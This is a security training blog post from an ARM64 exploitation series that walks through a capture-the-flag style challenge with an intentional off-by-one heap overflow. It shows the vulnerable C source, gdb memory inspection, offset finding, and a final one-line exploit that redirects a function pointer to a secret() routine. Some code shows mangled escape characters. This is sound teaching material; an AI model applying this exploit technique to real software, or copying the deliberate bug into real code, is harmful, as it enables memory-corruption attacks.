8kSec

ARM64 Reversing And Exploitation Part 9 – Exploiting an Off by One Overflow Vulnerability

By 8kSec Research Team

Hello everyone! In this blog post, we will dive into a new vulnerability called off by one byte overflow . But before we get into the details, there are a few things you need to have in place.

  • Familiarity with ARM64 assembly instructions.

  • Familiarity with exploiting stack-based buffer overflow.

  • ARM64 environment with gef and gdb server.

  • Ability to read and understand C code.

If you are new here, we recommend trying out our complete ARM64 Exploitation series.

Introduction
Let’s discuss the off by one byte vulnerability.

As the name suggests, “off by one byte” refers to a specific type of overflow that occurs when only a single byte of data overflows. This can happen due to mistakes in how software handles data boundaries, especially with regard to arrays, strings, or other data structures. Such overflows can occur in both reading and writing data. You might be wondering how a single byte could cause significant damage. Let’s explore an example to find out.

#include <stdio.h>

int main() {
  char buffer[10];
  for (int i = 0; i <= 10; i++) {
    buffer[i] = 'a';
  }
  printf("The contents of the buffer are: %s\n", buffer);
  return 0;
}

Looking at the above program at first glance, we see that it is a normal program. Let’s see what happens when we compile and execute it.

8ksec@debian:~/lab/challenges/off_by_one$ gcc off.c -o off
8ksec@debian:~/lab/challenges/off_by_one$ ./off 
The contents of the buffer are: aaaaaaaaaaa

Did you find find the bug ?

The bug is in the loop. The program has a 10-byte buffer, but the loop counter is incremented to write 11 bytes to the buffer, overwriting the null byte. Since the buffer starts at index 0 and has a size of 10 bytes, the loop condition should be i < 10 to prevent exceeding the buffer’s bounds.

for (int i = 0; i <= 10; i++)

Let’s see an another example.

#include <stdio.h>

void main(){
  char s[5] = "Hello";
  for (int i = 0; i <= 5; i++) {
    printf("%c", s[i]);
  }
  printf("\n");
}

This is also similar to the previous example, but in this case its a read. In the loop, the printf()is reading out of bounds.

Let’s compile and see what this outputs.

Program output showing Hello followed by a non-printable character from out-of-bounds read

As we can see, after printing ‘Hello,’ we encounter a strange non-printable character. This is because printf() reads one more byte than it should from its index.

Challenge

Let’s consider the below c code.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct B2{
    int (*ptr)();
    char c[128];
};
struct B1{
    char data[16];
    struct B2 *myStruct;
    char data2[128];
};
void secret(){
printf("Game 0ver! You win :Pn");
}
void function(){
    printf("Everything is fine.n");
}
int main(int argc, char *argv[]){
    printf("�33[1mWelcome to ROPLevel7 by @bellis1000!nThis level involves exploiting an off-by-one vulnerability.nnx1b[0m");
    if (argc < 3) {
        printf("Usage: %s <input1> <input2>\n", argv[0]);
        exit(0);
    }
    struct B1 *s = malloc(256);
    s->myStruct = malloc(256);
    s->myStruct->ptr = function;
    strncpy(s->myStruct->c,argv[2],126);
    strncpy(s->data2,argv[2],126);
    // this is where the off-by-one bug occurs
    for (int i = 0; i <= 16; i++){
        if (argv[1][i] != 0){
            s->data[i] = argv[1][i];
        }else{
            break;
        }
    }
    // call function pointer
    s->myStruct->ptr();
    return 0;
}

You can get this source code from here.

Analyzing this source code, we can see there are two structs B1 and B2.

struct B2{
    int (*ptr)();
    char c[128];
};

The struct B1 has a struct pointer to B2 .

struct B1 *s = malloc(256);
    s->myStruct = malloc(256); 
    s->myStruct->ptr = function;
    strncpy(s->myStruct->c,argv[2],126);
    strncpy(s->data2,argv[2],126);
  • Memory is allocated for a structure of type B1, and additional memory is allocated for B2 pointed to by myStruct.
  • A function pointer in the struct B2 pointed to by s->myStruct is set to point to a function named function.
  • Using strncpy, the code copies up to 126 characters from the command line argument argv[2] into the buffer cof the struct B2.
  • Additionally, it copies up to 126 characters from argv[2] into the bufferdata2 of the struct B1 pointed to by s.
// this is where the off-by-one bug occurs
    for (int i = 0; i <= 16; i++){
        if (argv[1][i] != 0){
            s->data[i] = argv[1][i];
        }else{
            break;
        }
    }

This is where the main vulnerability occurs. As we saw above, the loop iterates 17 times, thereby copying 17 characters into the data buffer. This will cause an overflow, and the overflown byte will overwrite the least significant byte in the B2 struct pointer.

Look at rough diagrams below.

Memory layout diagram showing struct B1 with data buffer and B2 pointer before overflow

This is before the loop.

Memory layout after overflow showing least significant byte of B2 pointer overwritten

After the loop, the last byte of the address is overwritten by the overflowed byte.

Let’s compile and run this code.

gcc off-by-one.c -o off-by-one -no-pie

8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one 
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.
Usage: ./off-by-one  
8ksec@debian:~/lab/challenges/off_by_one$

We have to provide two arguments. Let’s do that.

8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAA AAAA Welcome to ROPLevel7 by @bellis1000! This level involves exploiting an off-by-one vulnerability. Everything is fine.

Let’s provide a large input for both arguments.

8ksec@debian:/lab/challenges/off_by_one$ ./off-by-one AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA Welcome to ROPLevel7 by @bellis1000! This level involves exploiting an off-by-one vulnerability. Segmentation fault 8ksec@debian:/lab/challenges/off_by_one$

Ahh the program crashed. So let’s inspect what happened using gdb.

GDB disassembly of main function showing strncpy calls and loop

Disassembling the main() function, we can see two calls to the strncpy function.

struct B1 *s = malloc(256);
    s->myStruct = malloc(256); 
    s->myStruct->ptr = function;
    strncpy(s->myStruct->c,argv[2],126);
    strncpy(s->data2,argv[2],126);

Here, strncpy copies 126 bytes to the buffer in structure B1 and also copies the same to the data2 buffer in the B2 structure.

Let’s put a breakpoint in each of these strncpy and inspect that locations.

gef➤  b 0x0000000000400864
Breakpoint 1 at 0x400864
gef➤  b *0x0000000000400888
Breakpoint 2 at 0x400888

Run the binary inside gdb with our arguments.

gef➤ r AAAAAAA AAAAAAAA

First breakpoint hit at strncpy call with GEF context

The first breakpoint is hit. Let’s step over this call using ni. The x0 register will contain the address of the destination buffer.

Stepping over strncpy with x0 register showing destination buffer address

We can examine this memory location using the x command.

Memory dump showing A characters and function pointer address in struct B2

We can see our A’s at 0x4217c8, and before that, we can see an address. This is actually our pointer to the function called function() that prints “Everything is fine”.

struct B2{
    int (ptr)();
    char c[128];
};

If you do a disassembly of that address we can confirm that.

Disassembly confirming the address points to the function() routine

Let’s continue our program.

Second breakpoint hit at the second strncpy call

We hit the second breakpoint. Let’s step over this call and inspect the memory in x0 register.

Memory dump of struct B1 showing A characters and B2 pointer address

We can see our block of “A”s again, and before that, we can see a memory address. The address 0x00000000004217c0 points to the start of the B2 struct, which has the pointer to the function() that prints “Everything is fine.”

struct B1{
    char data[16];
    struct B2 *myStruct;
    char data2[128];
};

After this, we can see our disassembly of our loop.

// this is where the off-by-one bug occurs
    for (int i = 0; i <= 16; i++){
        if (argv[1][i] != 0){
            s->data[i] = argv[1][i];
        }else{
            break;
        }
    }

Disassembly of the off-by-one loop copying data into struct B1

Now put a break point after the loop and see what happened to our struct.

gef➤  b *0x00000000004008f8
Breakpoint 3 at 0x4008f8
gef➤

Let’s continue using the c command.

Breakpoint hit after the loop completes with normal input

The breakpoint has been hit. So, in the loop, the program copied the first block of “A”s we sent as our first input again to the char data[16]; buffer.

Let’s examine the memory.

Memory dump showing copied A characters in data buffer with intact pointer

At 0x4216b0, we can see our copied “A”s. Now, if we continue the program, it will call the function() and exit normally.

Program executing normally and calling function() successfully

Let’s see what will happen when we provide a large blocks of “A”s.

gef➤ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Put a breakpoint at the end of the loop and continue the until it completes the loop.

gef➤  b *0x00000000004008f8

Breakpoint after loop with large A input showing GEF context

Let’s examine the memory.

Memory dump showing B2 pointer's least significant byte overwritten by A

We can observe that the loop overwrote the least significant byte of the address pointing to the start of struct B2. The address 0x0000000000421741 now points to zeroes. If we continue the execution, the program will likely crash because, at the end of the program, it attempts to call the function()that now points to a different location that doesn’t contain a valid memory address.

s->myStruct->ptr();

Program crash with segmentation fault due to corrupted function pointer

The program crashed as expected.

Exploitation

In this challenge, we need to call the secret() method. The way to do this is to start by inserting 17 “A”s to trigger the off-by-one vulnerability. Next, send a large block of input as the second argument and place the address of the secret() function at the location pointed to by the modified structure pointer.

Let’s do that but we first we need to find the offset to place the address of secret. We can find that by sending a offset pattern.

https://wiremask.eu/tools/buffer-overflow-pattern-generator/

Let’s generate a pattern and send this to the program.

Buffer overflow pattern generator tool creating offset pattern

Load the program inside gdb and put a breakpoint after the loop just like we did before.

GDB loaded with breakpoint set after the loop

Start the program by passing 17 “A”s (or more) and the pattern we generated.

Running program with 17 A's and pattern as arguments

Breakpoint hit after loop with pattern input in memory

Now we are one instruction past our breakpoint. Let’s inspect the memory region. The struct will be in the same address as before as it’s running inside gdb.

Let’s examine the memory.

gef➤  x/50gx 0x00000000004216c8

Memory dump showing pattern at the overwritten struct pointer location

At 0x421738+8, we can observe our pattern, although it’s only overwriting 6 bytes. This is acceptable because we only require four bytes for our address. Let’s attempt to determine the offset at 0x421738.

Pattern offset calculation showing offset of 112 for the target address

It’s 112. So it would be 120 (112+8) for 0x421740. Let’s start crafting our final exploit.

First, send 17 or more ‘A’s as the first argument, followed by 120 junk characters and the address of the secret() function.

GDB showing address of secret function for the exploit payload

As there’s no PIE enabled, the address remains the same.

So let’s try it. We can use python to construct this.

./off-by-one $(python3 -c “print(‘A’ * 17)”) $(python3 -c ‘print(“A” * 120 + “x84x07x40”)’)

Exploit output showing secret function called and Game Over message

And here we go, we executed the secret() function.

Reference

Get in Touch

Want to learn these techniques hands-on, or need help assessing your own mobile or AI stack? We run live and on-demand trainings, offer mobile-security certifications, and take on penetration-testing engagements. Pick the door that fits.

We respond within one business day. Visit our events page to see where we'll be next.

Recent Blogs